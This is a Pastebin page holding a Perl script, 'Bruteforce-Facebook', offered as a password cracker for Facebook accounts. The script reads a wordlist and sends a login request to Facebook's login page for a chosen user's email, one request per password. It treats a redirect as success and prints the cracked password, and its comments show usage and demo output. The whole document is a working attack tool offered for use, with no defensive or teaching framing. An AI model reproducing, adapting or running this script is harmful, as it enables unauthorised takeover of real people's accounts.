Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #
- # Bruteforce-Facebook
- # Usage:
- # login could be either a user's email address or profile name
- #
- # Module Requirements:
- #
- # Install module if missing:
- # perl -MCPAN -e 'install Net::SSLeay'
- #
- # Demo:
- # perl halakos.pl Facebooklogin@facebook.com wordlist.lst
- #
- # [+] Cracking Facebooklogin@facebook.com ...
- #
- # [-] test -> Failed
- # [-] test123 -> Failed
- # [-] testtest -> Failed
- # [-] testest123 -> Failed
- # [-] qwerty -> Failed
- # [-] azerty -> Failed
- # [-] password -> Failed
- # [-] password123 -> Failed
- #
- ########################################################
- # [+] CRACKED! Your password is P@$$W0RD
- ########################################################
- #
- use strict;
- use Net::SSLeay::Handle;
- if(!defined($ARGV[0] && $ARGV[1])) {
- system('clear');
- print "\n+++ halako password Bruter\n";
- print "+++ Coded \n";
- print "+++ www.fb.com/\n\n";
- print "+++ Usage: perl $0 user wordlist\n\n";
- exit; }
- my $user = $ARGV[0];
- my $wordlist = $ARGV[1];
- open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
- print "\n+++ \n";
- print "+++ Coded by \n";
- print "+++ a\n";
- print "\n[+] Now Cracking $user ...\n\n";
- while (my $password = <LIST>) {
- chomp ($password);
- $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
- my $a = "POST /login.php HTTP/1.1";
- my $b = "Host: www.facebook.com";
- my $c = "Connection: close";
- my $e = "Cache-Control: max-age=0";
- my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
- my $g = "Origin: https://www.facebook.com";
- my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
- my $i = "Content-Type: application/x-www-form-urlencoded";
- my $j = "Accept-Encoding: gzip,deflate,sdch";
- my $k = "Accept-Language: en-US,en;q=0.8";
- my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
- my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
- my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
- my $cl = length($post);
- my $d = "Content-Length: $cl";
- my ($host, $port) = ("www.facebook.com", 443);
- tie(*SSL, "Net::SSLeay::Handle", $host, $port);
- print SSL "$a\n";
- print SSL "$b\n";
- print SSL "$c\n";
- print SSL "$d\n";
- print SSL "$e\n";
- print SSL "$f\n";
- print SSL "$g\n";
- print SSL "$h\n";
- print SSL "$i\n";
- print SSL "$j\n";
- print SSL "$k\n";
- print SSL "$l\n";
- print SSL "$cookie\n\n";
- print SSL "$post\n";
- my $success;
- while(my $result = <SSL>){
- if($result =~ /Location(.*?)/){
- $success = $1;
- }
- }
- if (!defined $success)
- {
- print "[-] $password -> Not Him :( \n";
- close SSL;
- }
- else
- {
- print "\n########################################################\n";
- print "[+] Yuuup!! Pass Cracked => Pass is $password :D\n";
- print "########################################################\n\n";
- close SSL;
- exit;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement